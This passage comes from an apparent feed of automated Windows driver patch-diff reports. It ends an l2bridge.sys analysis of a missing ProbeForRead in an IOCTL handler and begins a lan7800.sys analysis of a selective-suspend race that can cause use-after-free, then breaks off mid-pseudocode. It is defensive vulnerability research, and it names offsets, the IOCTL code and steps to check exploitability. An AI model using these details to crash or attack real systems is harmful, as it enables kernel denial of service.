&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Security-relevant changes:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;L2BridgeCtlBridgeInterfaces_Handler&lt;/code&gt;&lt;/strong&gt; (sim 0.82, &lt;code&gt;security_relevant&lt;/code&gt;): the headline fix. Adds &lt;code&gt;ProbeForRead(arg1, 0x10, 4)&lt;/code&gt; gated on &lt;code&gt;ExGetPreviousMode() == UserMode&lt;/code&gt;, plus a NULL check and reordering of the size check. The unpatched build imports neither &lt;code&gt;ProbeForRead&lt;/code&gt; nor &lt;code&gt;ExGetPreviousMode&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FilterFastDeviceIoControl&lt;/code&gt;&lt;/strong&gt; (sim 0.99, &lt;code&gt;security_relevant&lt;/code&gt;): the &lt;em&gt;entry point&lt;/em&gt; to the bug. Both versions forward the raw &lt;code&gt;InputBuffer&lt;/code&gt; as &lt;code&gt;rcx&lt;/code&gt; to the handler; the fix is in the callee, so this function is essentially unchanged except for a minor result-store reordering.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;GetLinkLayerAddressFromND&lt;/code&gt;&lt;/strong&gt; (sim 0.85, not security-relevant): replaces unsigned-subtraction ICMPv6 type/code range checks (unpatched at &lt;code&gt;0x1c000260f&lt;/code&gt;: &lt;code&gt;type + 0x79 &amp;lt;= 1&lt;/code&gt;, and &lt;code&gt;code - 1 &amp;lt;= 1&lt;/code&gt;) with explicit equality checks (patched at &lt;code&gt;0x14000241b&lt;/code&gt;: &lt;code&gt;type == 0x87 || type == 0x88&lt;/code&gt;, &lt;code&gt;code == 1 || code == 2&lt;/code&gt;). The two forms accept exactly the same value sets (&lt;code&gt;{0x87,0x88}&lt;/code&gt; and &lt;code&gt;{1,2}&lt;/code&gt;), so this is a functionally equivalent refactor, not a security boundary change. The type and code are single bytes, so the unsigned subtraction did not admit any additional value; there is no exploitable difference.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Behavioral (non-security) changes — feature upgrade across the driver:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;L2BridgeCloneIPv6NBL&lt;/code&gt;&lt;/strong&gt; (sim 0.82): adds &lt;code&gt;LookupIPv6AddressInTable&lt;/code&gt; in the non-multicast / non-ND path for destination-MAC rewrite.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ReceiveNetBufferList&lt;/code&gt;&lt;/strong&gt; (sim 0.93), &lt;strong&gt;&lt;code&gt;SendNetBufferList&lt;/code&gt;&lt;/strong&gt; (sim 0.88), &lt;strong&gt;&lt;code&gt;FilterReceiveNetBufferLists&lt;/code&gt;&lt;/strong&gt; (sim 0.88), &lt;strong&gt;&lt;code&gt;FilterSendNetBufferLists&lt;/code&gt;&lt;/strong&gt; (sim 0.92), &lt;strong&gt;&lt;code&gt;FilterSendNetBufferListsComplete&lt;/code&gt;&lt;/strong&gt; (sim 0.78): multicast/unicast decision restructure, NBL splitting simplification, and adapted call signatures.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ForwardNBLToFilterModule&lt;/code&gt;&lt;/strong&gt; (sim 0.90): adds &lt;code&gt;HandleRSCPacket&lt;/code&gt; / RSC handling; NBL context allocation grows from &lt;code&gt;0x20&lt;/code&gt; → &lt;code&gt;0x28&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DriverEntry&lt;/code&gt;&lt;/strong&gt; (sim 0.54): biggest non-security diff — adds &lt;code&gt;wil_InitializeFeatureStaging&lt;/code&gt;, TCP segmentation library (&lt;code&gt;IppBatchingLibContext&lt;/code&gt;, &lt;code&gt;IppSegLibContext&lt;/code&gt;, &lt;code&gt;Feature_TCPIP_2025_Wave2_SegLibHeap&lt;/code&gt;, &lt;code&gt;MdpCreatePool&lt;/code&gt;), &lt;code&gt;NetioCopyNetBufferListQosInformation&lt;/code&gt; resolution, and &lt;code&gt;FilterStatus&lt;/code&gt; registration.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FilterAttach&lt;/code&gt;&lt;/strong&gt; (sim 0.88): filter module structure grows from &lt;code&gt;0xe0&lt;/code&gt; → &lt;code&gt;0xe8&lt;/code&gt; (new &lt;code&gt;RWLock&lt;/code&gt; field), replaces single rundown with two separate allocations, adds &lt;code&gt;NdisAllocateRWLock&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;L2BridgeCloneNBL&lt;/code&gt;&lt;/strong&gt; (sim 0.61), &lt;strong&gt;&lt;code&gt;L2BridgeDeepCopyNBL&lt;/code&gt;&lt;/strong&gt; (sim 0.98): context allocation &lt;code&gt;0x20&lt;/code&gt; → &lt;code&gt;0x28&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AddOrUpdateIPv6RewriteTable&lt;/code&gt;&lt;/strong&gt; (sim 0.87): pool tag &lt;code&gt;NonPagedPoolNx&lt;/code&gt; → &lt;code&gt;0x600&lt;/code&gt; (which is &lt;code&gt;NonPagedPoolNx&lt;/code&gt;), struct-offset shifts.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FilterOidRequest&lt;/code&gt;&lt;/strong&gt; (sim 0.93) and &lt;strong&gt;&lt;code&gt;FilterOidRequestComplete&lt;/code&gt;&lt;/strong&gt; (sim 0.82): handle OID request types 0 (set) and 2 (method) in addition to 1 (query) in the completion path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DriverUnload&lt;/code&gt;&lt;/strong&gt; (sim 0.65): extra cleanup for the new RSC / feature-staging resources.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Cosmetic / register-allocation-only changes (collapsed).&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A large block of functions diff purely due to the 8-byte &lt;code&gt;FILTER_MODULE&lt;/code&gt; layout shift (the new &lt;code&gt;RWLock&lt;/code&gt; at offset &lt;code&gt;0x10&lt;/code&gt; cascading offsets &lt;code&gt;0x84→0x8c&lt;/code&gt;, &lt;code&gt;0xd8→0xe0&lt;/code&gt;, &lt;code&gt;0x60→0x68&lt;/code&gt;, &lt;code&gt;0x5c→0x64&lt;/code&gt;, &lt;code&gt;0x88→0x90&lt;/code&gt;, &lt;code&gt;0xa0→0xa8&lt;/code&gt;, &lt;code&gt;0xa1→0xa9&lt;/code&gt;, &lt;code&gt;0xa4→0xac&lt;/code&gt;, &lt;code&gt;0x10→0x18&lt;/code&gt;, etc.) and to compiler differences. These are: &lt;code&gt;RewritePacket&lt;/code&gt;, &lt;code&gt;FilterRegisterDevice&lt;/code&gt;, &lt;code&gt;FilterSendNetBufferListsComplete&lt;/code&gt;, &lt;code&gt;L2BridgeFreeNBL&lt;/code&gt;, &lt;code&gt;IsIPv6&lt;/code&gt;, &lt;code&gt;DEREF_FILTER_MODULE&lt;/code&gt;, &lt;code&gt;CreateBridge&lt;/code&gt;, &lt;code&gt;DisconnectInterfaceFromBridge&lt;/code&gt;, &lt;code&gt;FreeBridgeResources&lt;/code&gt;, &lt;code&gt;FilterReturnNetBufferLists&lt;/code&gt;, &lt;code&gt;AddOrUpdateMACForwardingTable&lt;/code&gt;, &lt;code&gt;LookupMACAddressInTable&lt;/code&gt;, &lt;code&gt;LookupIPv6AddressInTable&lt;/code&gt;, &lt;code&gt;LookupTable&lt;/code&gt;, &lt;code&gt;CleanupTable&lt;/code&gt;, &lt;code&gt;RemoveUnusedEntries&lt;/code&gt;, &lt;code&gt;L2BridgeIssueOid&lt;/code&gt;, &lt;code&gt;FilterDetach&lt;/code&gt;, &lt;code&gt;FilterDispatchSuccess&lt;/code&gt;, &lt;code&gt;FilterDispatchNotSupported&lt;/code&gt;, &lt;code&gt;FilterDeregisterDevice&lt;/code&gt;, &lt;code&gt;memcpy&lt;/code&gt;, &lt;code&gt;memset&lt;/code&gt;, &lt;code&gt;__GSHandlerCheckCommon&lt;/code&gt;. None of these introduce or remove a security boundary.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;Both &lt;code&gt;unmatched_unpatched&lt;/code&gt; and &lt;code&gt;unmatched_patched&lt;/code&gt; are empty (&lt;code&gt;0 / 0&lt;/code&gt;). There are no added or removed functions; the entire diff is intra-function.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; &lt;strong&gt;High&lt;/strong&gt; that the missing &lt;code&gt;ProbeForRead&lt;/code&gt; is a genuine security fix. The vulnerable instruction, its offset, the entry-path call chain, and the patch's added &lt;code&gt;ProbeForRead&lt;/code&gt;/&lt;code&gt;ExGetPreviousMode&lt;/code&gt; are directly evidenced by the assembly, the decompilation, and the fact that the unpatched driver imports neither symbol (0 occurrences in the unpatched build, 1 each in the patched build). The IOCTL code &lt;code&gt;0x12a000&lt;/code&gt; is confirmed by the literal compare at &lt;code&gt;0x1c0009b69&lt;/code&gt;. The severity is set to &lt;strong&gt;Medium&lt;/strong&gt; because the only demonstrable, caller-observable impact is a local kernel denial of service; the 16-byte read is blind (never returned to the caller), so it is not a self-contained information-disclosure primitive.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Assumptions / inferred pieces:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Device access is assumed to be available to a medium-IL local user because &lt;code&gt;FilterRegisterDevice&lt;/code&gt; registers the device with no explicit SDDL. A researcher should verify the &lt;em&gt;effective&lt;/em&gt; ACL on &lt;code&gt;\\.\L2BRIDGE&lt;/code&gt; on the target OS build (default NDIS device ACLs vary between Windows versions). If the ACL is restrictive, the attacker needs a more privileged principal or an indirect path that opens the handle on their behalf.&lt;/li&gt;
&lt;li&gt;The exact Win32 name (&lt;code&gt;\\.\L2BRIDGE&lt;/code&gt;) is inferred from the &lt;code&gt;\DosDevices\L2BRIDGE&lt;/code&gt; symbolic link visible in &lt;code&gt;FilterRegisterDevice&lt;/code&gt;. Confirm with &lt;code&gt;winobj&lt;/code&gt; / &lt;code&gt;!object \Device\l2bridge&lt;/code&gt; in the debugger.&lt;/li&gt;
&lt;li&gt;The 16-byte read is blind: the value is used only as two lookup keys and is never returned to the caller, so this bug does not by itself disclose kernel memory. The demonstrable impact is a kernel denial of service.&lt;/li&gt;
&lt;li&gt;All absolute addresses (&lt;code&gt;0x1c0009c5c&lt;/code&gt;, etc.) are file offsets within the analyzed build. If the driver is recompiled or ASLR-relocated at load time, recompute from &lt;code&gt;lm m l2bridge&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;What to verify manually before claiming exploitability:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Effective security descriptor on &lt;code&gt;\Device\l2bridge&lt;/code&gt; / &lt;code&gt;\\.\L2BRIDGE&lt;/code&gt; (&lt;code&gt;!sd&lt;/code&gt; in KD on the device object).&lt;/li&gt;
&lt;li&gt;Whether the Fast I/O path is actually taken for IOCTL &lt;code&gt;0x12a000&lt;/code&gt; at runtime (set the breakpoint at &lt;code&gt;FilterFastDeviceIoControl&lt;/code&gt; and confirm the call lands there rather than falling back to IRP-based dispatch).&lt;/li&gt;
&lt;li&gt;Whether the &lt;code&gt;movups&lt;/code&gt; fault on an unmapped pointer is delivered as a clean &lt;code&gt;0x50&lt;/code&gt; BugCheck or first hits a structured exception handler (&lt;code&gt;__try/__except&lt;/code&gt;) anywhere up the stack — the analysis shows no SEH around the dereference, but a debugger trace will confirm.&lt;/li&gt;
&lt;li&gt;The effective ACL on the device object, which determines whether an unprivileged caller can reach this path at all. The handler itself never writes back to the user-supplied pointer (it is only read as two lookup keys), so there is no user-controlled write primitive in this function.&lt;/li&gt;
&lt;/ol&gt;</content><category term="Corpus"/></entry><entry><title>lan7800.sys — receive-processing loop race with USB selective suspend (CWE-416) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/lan7800-x64-n650f_d8d1e328-lan7800-x64-n650f-report-20260626-021015.html" rel="alternate"/><published>2026-06-26T00:00:00-07:00</published><updated>2026-06-26T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-26:/drift-corpus/item/lan7800-x64-n650f_d8d1e328-lan7800-x64-n650f-report-20260626-021015.html</id><summary type="html">&lt;p&gt;KB5073723&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;lan7800-x64-n650f_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;lan7800-x64-n650f_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity:&lt;/strong&gt; 0.978&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 244 matched functions, 28 changed, 216 identical, 0 unmatched in either direction.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch adds power-state synchronization to the USB receive path. &lt;code&gt;MPIdleNotification&lt;/code&gt; now sets a "selective-suspend pending" flag (bit 27, &lt;code&gt;0x8000000&lt;/code&gt;, at adapter offset &lt;code&gt;0x44&lt;/code&gt;) before confirming USB idle, and the bulk-in receive processing loop &lt;code&gt;NICProcessBulkInWaitList&lt;/code&gt; now checks that flag and stops processing once selective suspend is confirmed. Without it, the receive loop could keep dequeuing, processing, and freeing Receive Control Blocks (RCBs) concurrently with selective-suspend teardown, a race that can lead to use-after-free of receive control blocks (CWE-416). A second reported path (&lt;code&gt;NICStopRxPath&lt;/code&gt; / &lt;code&gt;NICCollectSplitRxPackets&lt;/code&gt;) was examined and found NOT to be a use-after-free; it is a robustness change only (see Finding 2).&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1: Receive-processing loop continues during selective-suspend teardown&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Race condition (CWE-362) leading to use-after-free (CWE-416)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Functions:&lt;/strong&gt; &lt;code&gt;MPIdleNotification&lt;/code&gt;, &lt;code&gt;NICProcessBulkInWaitList&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt;
When the USB host controller decides the LAN7800 adapter is idle, the NDIS selective-suspend engine calls &lt;code&gt;MPIdleNotification&lt;/code&gt;, which confirms the idle transition to D3 via &lt;code&gt;NdisMIdleNotificationConfirm&lt;/code&gt;. In the unpatched driver this confirmation happens without setting any state flag that the concurrent bulk-in receive processing loop can observe. &lt;code&gt;NICProcessBulkInWaitList&lt;/code&gt; walks the bulk-in wait list, dequeues RCBs, calls &lt;code&gt;NICProcessSingleReceivePacket&lt;/code&gt; / &lt;code&gt;NICProcessMultipleReceivePackets&lt;/code&gt;, decrements each RCB's reference count, and frees the RCB via &lt;code&gt;NICFreeRCB&lt;/code&gt; when the count reaches 1. Its only exit conditions in the unpatched build are the wait list becoming empty and an elapsed-time cap of &lt;code&gt;0x989680&lt;/code&gt; (10,000,000 units of the shared-data interrupt-time counter, roughly one second). It has no way to observe that selective suspend has begun tearing down receive resources, so it can keep processing and freeing RCBs during that teardown.&lt;/p&gt;
&lt;p&gt;The patched driver sets a suspend-pending flag before confirming idle and makes the receive loop check it, so the loop stops promptly once suspend is confirmed. This closes the race window in which the receive path and the suspend teardown path can both operate on the same receive control blocks.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call Chain:&lt;/strong&gt;
1. NDIS USB selective-suspend engine triggers on device idle.
2. &lt;code&gt;MPIdleNotification&lt;/code&gt; is called.
3. &lt;code&gt;MPIdleNotification&lt;/code&gt; calls &lt;code&gt;NdisMIdleNotificationConfirm&lt;/code&gt;, beginning the D3 transition and receive teardown.
4. Concurrently, &lt;code&gt;NICProcessBulkInWaitList&lt;/code&gt; continues iterating over the bulk-in wait list.
5. It calls &lt;code&gt;NICProcessSingleReceivePacket&lt;/code&gt; / &lt;code&gt;NICProcessMultipleReceivePackets&lt;/code&gt; and frees RCBs, which can race with the teardown of those same RCBs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What was demonstrable vs. inferred:&lt;/strong&gt; The added flag set in &lt;code&gt;MPIdleNotification&lt;/code&gt; and the two added flag checks in &lt;code&gt;NICProcessBulkInWaitList&lt;/code&gt; are directly visible in both builds' disassembly (Section 4). The use-after-free consequence is the condition the added synchronization guards against; no exploit primitive or attacker-controlled reclamation of freed memory was demonstrated from the binaries.&lt;/p&gt;
&lt;h3&gt;Finding 2: Low-power guard added before split-RX drain wait — NOT a use-after-free&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; No security-relevant change (robustness / latency)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; None (originally reported as CWE-416; downgraded)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Functions:&lt;/strong&gt; &lt;code&gt;NICStopRxPath&lt;/code&gt;, &lt;code&gt;NICCollectSplitRxPackets&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Assessment:&lt;/strong&gt;
The patched &lt;code&gt;NICStopRxPath&lt;/code&gt; adds a check of the low-power flag (bit 26, &lt;code&gt;0x4000000&lt;/code&gt;, at adapter offset &lt;code&gt;0x44&lt;/code&gt;) before calling &lt;code&gt;NICCollectSplitRxPackets&lt;/code&gt;. Examination of &lt;code&gt;NICCollectSplitRxPackets&lt;/code&gt; in both builds shows it is a bounded poll-wait: it reads a split-RX pending counter (&lt;code&gt;[rdi+0xF78]&lt;/code&gt; unpatched, &lt;code&gt;[rdi+0xFA8]&lt;/code&gt; patched), and while that counter is non-zero it sleeps 10 ms via &lt;code&gt;NdisMSleep&lt;/code&gt; and re-reads, exiting when the counter reaches 0 or after 100 iterations (roughly one second). It makes no other calls and does not dereference any RCB, NET_BUFFER_LIST, MDL, or USB transfer buffer. It therefore cannot cause a use-after-free.&lt;/p&gt;
&lt;p&gt;The low-power flag itself is set and cleared by &lt;code&gt;NICSetPowerState&lt;/code&gt; in BOTH builds (via &lt;code&gt;bts&lt;/code&gt;/&lt;code&gt;btr&lt;/code&gt; on bit 26), so the flag lifecycle is not new. The only new element is &lt;code&gt;NICStopRxPath&lt;/code&gt; consulting it. Because &lt;code&gt;NICCollectSplitRxPackets&lt;/code&gt; never dereferences freed memory, the guard does not fix a memory-safety bug; its effect is to skip the poll-wait when the device is in a low-power state, where the pending counter would not drain and the routine would otherwise busy-wait up to its ~1-second cap. This is a robustness/latency improvement, not a use-after-free fix. The original UAF claim for this path is withdrawn.&lt;/p&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;MPIdleNotification&lt;/code&gt; &amp;amp; &lt;code&gt;NICProcessBulkInWaitList&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED MPIdleNotification ---&lt;/span&gt;
&lt;span class="n"&gt;NDIS_STATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;MPIdleNotification&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Adapter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;NICWaitForReset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;power_state_cache&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* [+0x104] */&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// no suspend-pending flag set here&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;NdisMIdleNotificationConfirm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ndis_handle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* [+0x78] */&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;D3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NDIS_STATUS_PENDING&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED MPIdleNotification ---&lt;/span&gt;
&lt;span class="n"&gt;NDIS_STATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;MPIdleNotification&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Adapter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;NICWaitForReset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;power_state_cache&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* [+0x12C] */&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* [+0x44] */&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8000000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// ADDED: set bit 27 (suspend pending)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;NdisMIdleNotificationConfirm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ndis_handle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* [+0x98] */&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;D3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NDIS_STATUS_PENDING&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// --- UNPATCHED NICProcessBulkInWaitList loop (exit only on empty list / ~1s time cap) ---&lt;/span&gt;
&lt;span class="c1"&gt;// no suspend-flag check&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(;;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rcb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dequeue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;waitlist&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// bounded by the 0x989680 elapsed-time cap&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;process_and_maybe_free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rcb&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED NICProcessBulkInWaitList loop ---&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8000000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;done&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// ADDED: early exit if suspending&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(;;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
